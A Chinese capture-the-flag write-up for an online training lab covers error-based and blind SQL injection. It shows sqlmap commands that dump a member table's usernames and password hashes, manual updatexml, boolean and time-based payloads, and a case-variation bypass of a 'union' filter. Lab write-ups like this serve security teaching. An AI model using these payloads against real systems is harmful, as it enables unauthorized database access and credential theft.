墨者-SQL注入漏洞测试(报错盲注)

2023-11-13

前言

本题为墨者学院在线靶场

进入题目发现是个登录界面,找了好久,最后在关于平台停机维护的通知的页面找到了注入点

判断注入类型,当输入?id=1’ and 1=1 %23时,页面显示正常。

?id=1' and 1=1 %23


当输入?id=1’ and 1=2 %23时,页面显示不正常。

由此判断注入类型为单字符注入。

一、sqlmap

首先先清理sqlmap的缓存。

python sqlmap.py --purge

查库名,得到库名为stormgroup

python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1" --dbs --batch


查表名,得到表名为member notice

python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1"  -D "stormgroup" --dbs --tables --batch

查字段名,得到字段名为name password status

python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1"  -D "stormgroup" -T "member" --dbs --columns --batch


最后查用户名和密码

python sqlmap.py -u "http://219.153.49.228:44807/new_list.php?id=1" -D "stormgroup" -T "member" -C "name,password,status" --dump --batch


关于sqlmap详细的命令,直接贴链接了。
sqlmap详细命令

二、手注

1.报错注入

直接判断数据库名

?id=1' and updatexml(1,concat(0x5c,database(),0x5c),1) %23


查询表名

?id=1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1) %23


查询字段名

?id=1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'),0x5c),1) %23


查询账户

?id=1' and updatexml(1,concat(0x5c,(select group_concat(name) from member),0x5c),1) %23


查询密码

?id=1' and updatexml(1,concat(0x5c,(select group_concat(password) from member),0x5c),1) %23


到这里发现问题,按照我的写法,查出来的密码应该为\***********,*******\。说明我们只查出了部分密码。
接下来使用布尔盲注查出缺失的密码。

?id=1' and substr((select password from member limit 0,1),1,32)=b %23





由此可以得到password的长度为32位。(好像有点明白题目为啥叫报错盲注了)

2.时间注入

因为前面使用过布尔盲注,所以这里就不重复使用了,而是使用时间注入。
查库

?id=1' and if(substr((database()),1,1)='s',sleep(3),1) %23

查表

?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='m',sleep(3),1) %23

查字段

?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'),1,1)='n',sleep(3),1) %23

查用户和密码

?id=1' and if(substr((select group_concat(name) from member),1,1)='3',sleep(3),1) %23

3.联合查询union被过滤

使用联合查询,但发现union被过滤了。经过不断尝试,发现uNiOn可以绕过。

总结

最后得到的密码使用md5解码,登录成功得到key。

ps:写文章写了一半靶机关了,所以得到的密码可能不一样。
最后 如有错误希望师傅们指正。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

墨者-SQL注入漏洞测试(报错盲注) 的相关文章

  • MySQL JOIN 滥用?情况会变得有多糟糕?

    我读了很多关于关系数据库的文章 在每个 SELECT 上使用许多 JOIN 语句 但是 我一直想知道滥用这种方法从长远来看是否会出现任何性能问题 例如 假设我们有一个users桌子 我通常会添加 最常用 的数据 而不是进行任何额外的联接 例
  • MySQL:如何仅获取正值的平均值?

    假设我有 INT 列 并且我使用 1 来表示插入时没有可用数据 我想获得该列中所有 0 或更大值的平均值 这可能吗 Thanks 我忘了提及 我正在与其他 AVG 一起执行此操作 因此从选项卡中选择 avg a avg b avg d 所以
  • 更改表添加列并在同一条件 IF 语句中更新新列

    我正在尝试添加列并在同一 if 语句中更新它 BEGIN TRAN IF NOT EXISTS SELECT 1 FROM sys columns WHERE Name N Code AND Object ID Object ID N Te
  • Tomcat 6找不到mysql驱动

    这里有一个类似的问题 但关于类路径 ClassNotFoundException com mysql jdbc Driver https stackoverflow com questions 1585811 classnotfoundex
  • 在mysql连接字符串中添加应用程序名称/程序名称[关闭]

    Closed 这个问题需要细节或清晰度 help closed questions 目前不接受答案 我正在寻找一种解决方案 在连接字符串中添加应用程序名称或程序名称 以便它在 MySQL Workbench 中的 客户端连接 下可见 SQL
  • 休眠以持久保存日期

    有没有办法告诉 Hibernate java util Date 应该持久保存 我需要这个来解决 MySQL 中缺少的毫秒分辨率问题 您能想到这种方法有什么缺点吗 您可以自己创建字段long 或者使用自定义的UserType 实施后User
  • 总和和不同不会改变结果?

    我是一个新手 试图在这里解决这个问题 到目前为止还没有运气 非常感谢任何帮助 Select Distinct AB agency no ab branch no AS AGENCY BRANCH count AB agency no ab
  • rake db 问题:迁移 -

    我无法为 Ruby on Rails 设置 MySQL 数据库 设置数据库并确保 config database yml 文件匹配后 我遇到了以下错误消息 U Rails alpha gt rake db migrate trace in
  • 多边形内的 SQL 地理点在 STIntersect 上不返回 true(但使用 Geometry 返回 true)

    我不想仅仅为了在 STIntersect 中返回 true 而将地理数据转换为几何图形 下面是 SQL 中的代码 DECLARE point GEOGRAPHY GEOGRAPHY Point 1 1 4326 DECLARE polygo
  • 如何为 MySQL 中的字段或列添加别名?

    我正在尝试做这样的事情 但我收到未知的列错误 SELECT SUM field1 field2 AS col1 col1 field3 AS col3 from core 基本上 我只想使用别名 这样我就不需要执行之前执行的操作 这在mys
  • 使用什么框架来引导我的第一个生产 scala 项目?

    我正在第一次涉足 scala 的生产应用程序 该应用程序当前打包为 war 文件 我的计划是创建 scala 编译工件的 jar 文件 并将其添加到 war 文件的 lib 文件夹中 我的增强功能是通过 Jersey 公开的 mysql 支
  • mysql 如何将 varchar(10) 转换为 TIMESTAMP?

    我已将所有日期存储到数据库中varchar 10 现在我想将它们转换为 TIMESTAMP 当我运行sql时 ALTER TABLE demo3 CHANGE date date TIMESTAMP NOT NULL 它提醒 1292 In
  • 如何使用 MySQL 选择有特定值的 2 个连续行?

    我正在构建一个系统 该系统应该显示学生何时连续缺席两天 例如 此表包含缺勤情况 day id missed 2016 10 6 1 true 2016 10 6 2 true 2016 10 6 3 false 2016 10 7 1 tr
  • 拥有更多列或更多行会更高效吗?

    我目前正在重新设计一个可能包含大量数据的数据库 我可以选择在数据库中包含许多不同的列或使用大量行 如果我在下面做一些大纲 可能会更容易 item id user id title description content category t
  • 使用 DISTINCT 进行查询需要很长时间

    我正在使用 Microsoft Access 2003 我的项目中的一个表单需要很长时间才能向用户显示 这是适用的查询 SELECT DISTINCT tb KonzeptDaten DFCC tb KonzeptDaten OBD Cod
  • 条件触发器的Django迁移sql

    我想创建一个触发器 仅在满足条件时插入表 我尝试过使用 IF BEGIN END 和 WHERE 的各种组合 但 Django 每次都会返回 SQL 语法错误 这里 type user id指的是触发该事件的人 user id指的是接收到通
  • MySQL如何获取unix时间戳的时间差

    我有一个保存值1506947452的变量 需要使用公式从该日期提取分钟 started data now date 但started date采用unix时间戳格式10位int数字 我以ajax形式收到并需要放入mysql查询i试试这个 S
  • Oracle SQL PLS-00049:错误的绑定变量

    我收到此错误 这似乎是列拼写问题 然而 我 99 确信我拼写的所有内容都是正确的 但我看不出有任何理由会出现我所犯的错误 这是来源 CREATE OR REPLACE TRIGGER update qoh trigger AFTER INS
  • 选择获取与 MySQL Group 中 max 对应的整行

    当我使用Max使用后查找特定 MySQL 组中字段的最大值GROUP BY 是否可以获取包含最大值的整行 我在处理一些论坛代码时偶然发现了这个线程 我想获取每个线程的最新帖子并将其显示在特定板的线程列表中 Quassnoi上面的回答对我非常
  • CONTAINS 不适用于 Oracle Text

    我在执行此查询时遇到问题 SELECT FROM gob attachment WHERE CONTAINS gob a document java gt 0 它给了我 ORA 29902 error in executing ODCIIn

随机推荐

  • 企业微信群机器人开发

    准备工作 已经注册了有效的企业微信账号 并且在客户端上已经登录 现有或者新建有效的包含多名企业微信成员的群聊 创建群聊机器人 右键群聊 gt 管理聊天信息 gt 添加群机器人 使用群机器人 在终端某个群组添加机器人之后 创建者可以在机器人详
  • 【单片机笔记】STM32+ESP8266通过AT指令WIFI连接阿里云MQTT服务器

    上一篇使用USB转串口的方式通过ESP8266wifi模块的方式成功连接上了阿里云 现在就要通过单片机来替换电脑上位机了 这样单片机自动的去调用并发送串口数据更加方便 也更加符合一个产品的开发 板载的传感器有NTC温度 光强 这两个主要用来
  • 音频采样率、采样深度、占用字节数浅析

    1 从一个问题来看 16K采样率 16bit采样深度 20ms的数据共占用多少字节 想要解这个问题 首先就要明白采样率是什么 它的单位是什么 采样率 就是指音频在每秒的采样次数 采样多少个点 单位是赫兹 hz 在这里 尤其不要与比特率 bp
  • wxc-icon使用

  • Vue3中的computed函数详解

    计算属性是Vue中常用的一种方式 主要用于在模板中放置逻辑计算 方便开发者进行数据操作和展示 在Vue3中 计算属性依然是非常重要的一种功能 而computed函数则更加的方便计算属性的使用 本文将对Vue3中的computed函数进行详细
  • 修改约束(注意是否存在字段名的情况)

    添加字段名时添加约束 语法 alter table 表名 add 字段名 数据类型 约束名 注意 这个方法会让表中让所有address都变成 中国 表达有点不清晰 自己去试试此方法和其他方法就知道了 例如 alter table emp a
  • 汇编语言笔记-ARM架构基本寄存器

    文章目录 寄存器组 1 R0 R12 2 R13 3 R14 4 R15 特殊寄存器 程序状态寄存器 xPSR 中断 异常屏蔽寄存器 CONTROL寄存器 浮点寄存器 1 S0 S31和D0 D15 浮点状态和控制寄存器 FPSCR 浮点单
  • 玩转ChatGPT:Excel操作初探

    一 写在前面 首先还是让小Chat推销下自己 Excel 表格制作是个技术活 你掌握了吗 没关系 现在有了 ChatGPT 让 Excel 辅助操作变得更简单 再也不用苦恼于数据分析和整理了 让 ChatGPT 成为你的数据处理助手 让 E
  • FISCO BCOS 区块链应用(五)结合WeBase开发区块链目录管理系统

    目录 前提条件及说明 1 1 搭建Fisco Bcos区块链底层平台 1 2 搭建java项目并引入 web3sdk 1 3 搭建WeBase区块链管理平台 应用开发 1合约设计 2代码实现 3合约编译 4 java SDK集成 应用端对接
  • linux系统 <linux/fs.h>头文件查找

    起因 因为在做模块实验时要对register chrdev函数绘画流程图 于是我就想着去找找看到底这个函数在哪 首先根据这个笔记来看 Linux内核API register chrdev 极客笔记 deepinout com 应该在linu
  • CJson-修改浮点数的位数

    现状 调用cJSON Print 将组成的json转为字符串格式时 对于浮点数的位数是不固定的 length sprintf char number buffer 1 15g d 源代码里用的是 1 15g 代表输出字符最少一位 最大15位
  • 【技术方案】springboot全局异常处理方式

    springboot全局异常处理方式 springboot全局异常有两种处理方式 第一种方案 继承DefaultErrorAttributes类 重写getErrorAttributes方法 代码如下 Slf4j RestControlle
  • SyntaxError: missing ) after argument list

    消息 语法错误 参数列表后面缺少 错误类型 SyntaxError 什么地方出错了 有一个函数在调用时出现错误 这可能是一个错误 丢失运算符或者转义字符等 示例 因为没有使用 操作符来连接字符串 JavaScript 认为 log 函数的参
  • Java 解析http返回的xml数据

    Java 解析http返回的xml数据 写成txt文件 需求 每小时抓取给定api接口返回的xml数据 把xml数据保存为XML文件 把xml数据转换txt文件格式数据 保存txt文件 文件名以yyyyMMddHH0000 txt和yyyy
  • FileZilla_Server快速搭建FTP服务器

    文档目的 介绍如何使用FileZilla Server软件在windows server服务器上搭建FTP服务器 注意 如果需要这个具及这个工具的视频操作教程 请点击 此处 下载 文档目的 介绍如何使用FileZilla Server软件在
  • CV第一篇:EDLines基础理论

    EDLines A real time line segment detector with a false detection control 简介 图像信息特征的描述大致分为角点特征 线特征和语义特征 点特征如harris sfit s
  • 关于C++ new和malloc的区别!

    一 前言 new和malloc的知识点 他们之间的关系 有什么异同 作为一个C 工程师是必须要了解清楚 在面试中该知识点也是经常会被问到的 所以在此文章 总结下new和malloc的区别到底在哪里 二 new和malloc两者的区别 2 1
  • java项目域名访问失败但IP访问正常

    1 域名访问失败但通过IP访问正常 发生此类型情况可能的原因如下 DNS 解析问题 域名访问失败可能是因为 DNS 解析出现了问题 导致域名无法解析成正确的 IP 地址 可以通过使用 nslookup 或 dig 命令来检查 DNS 解析是
  • 四种线程池拒绝策略

    一 前言 线程池 相信很多人都有用过 没用过相信的也有学习过 但是 线程池的拒绝策略 相信知道的人会少许多 二 四种线程池拒绝策略 当线程池的任务缓存队列已满并且线程池中的线程数目达到maximumPoolSize时 如果还有任务到来就会采
  • 墨者-SQL注入漏洞测试(报错盲注)

    墨者 SQL注入漏洞测试 前言 一 sqlmap 二 手注 1 报错注入 2 时间注入 3 联合查询union被过滤 总结 前言 本题为墨者学院在线靶场 进入题目发现是个登录界面 找了好久 最后在关于平台停机维护的通知的页面找到了注入点 判